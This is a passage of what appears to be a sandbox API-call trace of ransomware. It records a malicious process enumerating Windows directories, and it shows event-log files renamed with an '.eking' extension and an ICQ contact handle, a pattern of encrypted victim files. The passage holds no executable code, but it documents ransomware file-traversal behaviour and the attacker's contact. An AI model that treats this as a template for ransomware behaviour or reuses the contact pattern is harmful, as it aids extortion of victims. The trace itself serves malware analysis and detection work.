nFileSizeHigh=0x0, nFileSizeLow=0x11162, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="MIAEBD~1.EKI")) returned 1 [0276.089] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf900 | out: lpFindFileData=0x2fcf900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7dae9ecd, ftCreationTime.dwHighDateTime=0x1d63ff4, ftLastAccessTime.dwLowDateTime=0x7dae9ecd, ftLastAccessTime.dwHighDateTime=0x1d63ff4, ftLastWriteTime.dwLowDateTime=0x7df161bf, ftLastWriteTime.dwHighDateTime=0x1d63ff4, nFileSizeHigh=0x0, nFileSizeLow=0x11142, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Microsoft-Windows-Winlogon%4Operational.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="MIEA00~1.EKI")) returned 1 [0276.090] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf900 | out: lpFindFileData=0x2fcf900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7df161bf, ftCreationTime.dwHighDateTime=0x1d63ff4, ftLastAccessTime.dwLowDateTime=0x7df161bf, ftLastAccessTime.dwHighDateTime=0x1d63ff4, ftLastWriteTime.dwLowDateTime=0x7ea4336b, ftLastWriteTime.dwHighDateTime=0x1d63ff4, nFileSizeHigh=0x0, nFileSizeLow=0x101152, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Microsoft-Windows-WMI-Activity%4Operational.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="MI42A9~1.EKI")) returned 1 [0276.090] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf900 | out: lpFindFileData=0x2fcf900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7e63d2c0, ftCreationTime.dwHighDateTime=0x1d63ff4, ftLastAccessTime.dwLowDateTime=0x7e63d2c0, ftLastAccessTime.dwHighDateTime=0x1d63ff4, ftLastWriteTime.dwLowDateTime=0x7ecfec32, ftLastWriteTime.dwHighDateTime=0x1d63ff4, nFileSizeHigh=0x0, nFileSizeLow=0x111102, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Security.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SECURI~1.EKI")) returned 1 [0276.090] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf900 | out: lpFindFileData=0x2fcf900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ea4336b, ftCreationTime.dwHighDateTime=0x1d63ff4, ftLastAccessTime.dwLowDateTime=0x7ea4336b, ftLastAccessTime.dwHighDateTime=0x1d63ff4, ftLastWriteTime.dwLowDateTime=0x7ea82487, ftLastWriteTime.dwHighDateTime=0x1d63ff4, nFileSizeHigh=0x0, nFileSizeLow=0x11102, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Setup.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPE~1.EKI")) returned 1 [0276.090] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf900 | out: lpFindFileData=0x2fcf900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ea8f6d5, ftCreationTime.dwHighDateTime=0x1d63ff4, ftLastAccessTime.dwLowDateTime=0x7ea8f6d5, ftLastAccessTime.dwHighDateTime=0x1d63ff4, ftLastWriteTime.dwLowDateTime=0x7f29ee38, ftLastWriteTime.dwHighDateTime=0x1d63ff4, nFileSizeHigh=0x0, nFileSizeLow=0x111102, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="System.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SYSTEM~1.EKI")) returned 1 [0276.090] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf900 | out: lpFindFileData=0x2fcf900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ecfec32, ftCreationTime.dwHighDateTime=0x1d63ff4, ftLastAccessTime.dwLowDateTime=0x7ecfec32, ftLastAccessTime.dwHighDateTime=0x1d63ff4, ftLastWriteTime.dwLowDateTime=0x7edb0776, ftLastWriteTime.dwHighDateTime=0x1d63ff4, nFileSizeHigh=0x0, nFileSizeLow=0x11112, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Windows PowerShell.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="WINDOW~1.EKI")) returned 1 [0276.090] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf900 | out: lpFindFileData=0x2fcf900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ecfec32, ftCreationTime.dwHighDateTime=0x1d63ff4, ftLastAccessTime.dwLowDateTime=0x7ecfec32, ftLastAccessTime.dwHighDateTime=0x1d63ff4, ftLastWriteTime.dwLowDateTime=0x7edb0776, ftLastWriteTime.dwHighDateTime=0x1d63ff4, nFileSizeHigh=0x0, nFileSizeLow=0x11112, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Windows PowerShell.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="WINDOW~1.EKI")) returned 0 [0276.090] FindClose (in: hFindFile=0xb02d08 | out: hFindFile=0xb02d08) returned 1 [0276.090] GetProcessHeap () returned 0xaf0000 [0276.090] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xba5150 | out: hHeap=0xaf0000) returned 1 [0276.090] FindNextFileW (in: hFindFile=0xb02c48, lpFindFileData=0x2fcfb88 | out: lpFindFileData=0x2fcfb88*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6e97b025, ftCreationTime.dwHighDateTime=0x1d3275c, ftLastAccessTime.dwLowDateTime=0x6e97b025, ftLastAccessTime.dwHighDateTime=0x1d3275c, ftLastWriteTime.dwLowDateTime=0x405cdaef, ftLastWriteTime.dwHighDateTime=0x1d63ff4, nFileSizeHigh=0x0, nFileSizeLow=0x28000000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pagefile.sys", cAlternateFileName="")) returned 1 [0276.090] FindNextFileW (in: hFindFile=0xb02c48, lpFindFileData=0x2fcfb88 | out: lpFindFileData=0x2fcfb88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa03748ae, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17b3dd09, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PerfLogs", cAlternateFileName="")) returned 1 [0276.090] GetProcessHeap () returned 0xaf0000 [0276.090] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0xba5150 [0276.090] FindFirstFileW (in: lpFileName="\\\\?\\C:\\PerfLogs\\*", lpFindFileData=0x2fcf900 | out: lpFindFileData=0x2fcf900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa03748ae, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17b3dd09, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName=".", cAlternateFileName="")) returned 0xb02d48 [0276.091] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fcf900 | out: lpFindFileData=0x2fcf900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa03748ae, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17b3dd09, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="..", cAlternateFileName="")) returned 1 [0276.091] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fcf900 | out: lpFindFileData=0x2fcf900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa03748ae, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17b3dd09, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="..", cAlternateFileName="")) returned 0 [0276.091] FindClose (in: hFindFile=0xb02d48 | out: hFindFile=0xb02d48) returned 1 [0276.091] GetProcessHeap () returned 0xaf0000 [0276.091] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xba5150 | out: hHeap=0xaf0000) returned 1 [0276.091] FindNextFileW (in: hFindFile=0xb02c48, lpFindFileData=0x2fcfb88 | out: lpFindFileData=0x2fcfb88*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xf0c0ff31, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xf0c0ff31, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Program Files", cAlternateFileName="PROGRA~1")) returned 1 [0276.091] GetProcessHeap () returned 0xaf0000 [0276.091] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0xba5150 [0276.091] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\*", lpFindFileData=0x2fcf900 | out: lpFindFileData=0x2fcf900*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xf0c0ff31, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xf0c0ff31, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName=".", cAlternateFileName="")) returned 0xb031c8 [0276.091] FindNextFileW (in: hFindFile=0xb031c8, lpFindFileData=0x2fcf900 | out: lpFindFileData=0x2fcf900*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xf0c0ff31, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xf0c0ff31, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="..", cAlternateFileName="")) returned 1 [0276.091] FindNextFileW (in: hFindFile=0xb031c8, lpFindFileData=0x2fcf900 | out: lpFindFileData=0x2fcf900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xe8ce9c57, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xe8ce9c57, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Common Files", cAlternateFileName="COMMON~1")) returned 1 [0276.092] GetProcessHeap () returned 0xaf0000 [0276.092] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0xb42830 [0276.092] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\*", lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xe8ce9c57, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xe8ce9c57, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3b3, cFileName=".", cAlternateFileName="")) returned 0xb03148 [0276.093] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xe8ce9c57, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xe8ce9c57, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3b3, cFileName="..", cAlternateFileName="")) returned 1 [0276.093] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca720f10, ftCreationTime.dwHighDateTime=0x1d5815a, ftLastAccessTime.dwLowDateTime=0xdbd64150, ftLastAccessTime.dwHighDateTime=0x1d5e7bb, ftLastWriteTime.dwLowDateTime=0xdbd64150, ftLastWriteTime.dwHighDateTime=0x1d5e7bb, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x3b3, cFileName="3dftp.exe", cAlternateFileName="")) returned 1 [0276.093] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x4aab75fe, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0xa0417b85, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x4aadd873, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3b3, cFileName="DESIGNER", cAlternateFileName="")) returned 1 [0276.093] GetProcessHeap () returned 0xaf0000 [0276.093] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0xb52838 [0276.093] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\DESIGNER\\*", lpFindFileData=0x2fcf3f0 | out: lpFindFileData=0x2fcf3f0*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x4aab75fe, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0xa0417b85, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x4aadd873, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1b2, cFileName=".", cAlternateFileName="")) returned 0xb03048 [0276.093] FindNextFileW (in: hFindFile=0xb03048, lpFindFileData=0x2fcf3f0 | out: lpFindFileData=0x2fcf3f0*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x4aab75fe, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0xa0417b85, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x4aadd873, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1b2, cFileName="..", cAlternateFileName="")) returned 1 [0276.093] FindNextFileW (in: hFindFile=0xb03048, lpFindFileData=0x2fcf3f0 | out: lpFindFileData=0x2fcf3f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c8c3a00, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4aadd873, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5c8c3a00, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x3e70, dwReserved0=0x0, dwReserved1=0x1b2, cFileName="MSADDNDR.OLB", cAlternateFileName="")) returned 1 [0276.093] FindNextFileW (in: hFindFile=0xb03048, lpFindFileData=0x2fcf3f0 | out: lpFindFileData=0x2fcf3f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c8c3a00, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4aadd873, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5c8c3a00, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x3e70, dwReserved0=0x0, dwReserved1=0x1b2, cFileName="MSADDNDR.OLB", cAlternateFileName="")) returned 0 [0276.093] FindClose (in: hFindFile=0xb03048 | out: hFindFile=0xb03048) returned 1 [0276.093] GetProcessHeap () returned 0xaf0000 [0276.093] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb52838 | out: hHeap=0xaf0000) returned 1 [0276.093] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x661a5320, ftCreationTime.dwHighDateTime=0x1d5c41b, ftLastAccessTime.dwLowDateTime=0xd30aafc0, ftLastAccessTime.dwHighDateTime=0x1d59856, ftLastWriteTime.dwLowDateTime=0xd30aafc0, ftLastWriteTime.dwHighDateTime=0x1d59856, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x3b3, cFileName="icq.exe", cAlternateFileName="")) returned 1 [0276.093] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa04663f2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x4accd6e1, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3b3, cFileName="microsoft shared", cAlternateFileName="MICROS~1")) returned 1 [0276.094] GetProcessHeap () returned 0xaf0000 [0276.094] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0xb52838 [0276.094] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\*", lpFindFileData=0x2fcf3f0 | out: lpFindFileData=0x2fcf3f0*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa04663f2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x4accd6e1, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1b2, cFileName=".", cAlternateFileName="")) returned 0xb02c08 [0276.094] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcf3f0 | out: lpFindFileData=0x2fcf3f0*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa04663f2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x4accd6e1, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1b2, cFileName="..", cAlternateFileName="")) returned 1 [0276.094] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcf3f0 | out: lpFindFileData=0x2fcf3f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbf6c42af, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x81028f76, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x81028f76, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1b2, cFileName="ClickToRun", cAlternateFileName="CLICKT~1")) returned 1 [0276.094] GetProcessHeap () returned 0xaf0000 [0276.094] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3656248 [0276.095] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\*", lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbf6c42af, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x81028f76, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x81028f76, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb03208 [0276.095] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbf6c42af, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x81028f76, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x81028f76, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0276.095] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x809e6bf5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x809e6bf5, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x48c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-file-l1-2-0.dll", cAlternateFileName="API-MS~1.DLL")) returned 1 [0276.095] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x809e6bf5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x809e6bf5, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x48c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-file-l2-1-0.dll", cAlternateFileName="API-MS~2.DLL")) returned 1 [0276.095] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x52c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-localization-l1-2-0.dll", cAlternateFileName="API-MS~3.DLL")) returned 1 [0276.095] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x4ac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-processthreads-l1-1-1.dll", cAlternateFileName="API-MS~4.DLL")) returned 1 [0276.095] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x4ac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-synch-l1-2-0.dll", cAlternateFileName="APF10C~1.DLL")) returned 1 [0276.096] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x48c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-timezone-l1-1-0.dll", cAlternateFileName="AP7902~1.DLL")) returned 1 [0276.096] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x2d60, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-xstate-l2-1-0.dll", cAlternateFileName="APA632~1.DLL")) returned 1 [0276.096] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x4cc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-conio-l1-1-0.dll", cAlternateFileName="AP5C76~1.DLL")) returned 1 [0276.096] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x58c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-convert-l1-1-0.dll", cAlternateFileName="APFD9C~1.DLL")) returned 1 [0276.096] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x4ac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-environment-l1-1-0.dll", cAlternateFileName="APC00F~1.DLL")) returned 1 [0276.096] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fcf168 | 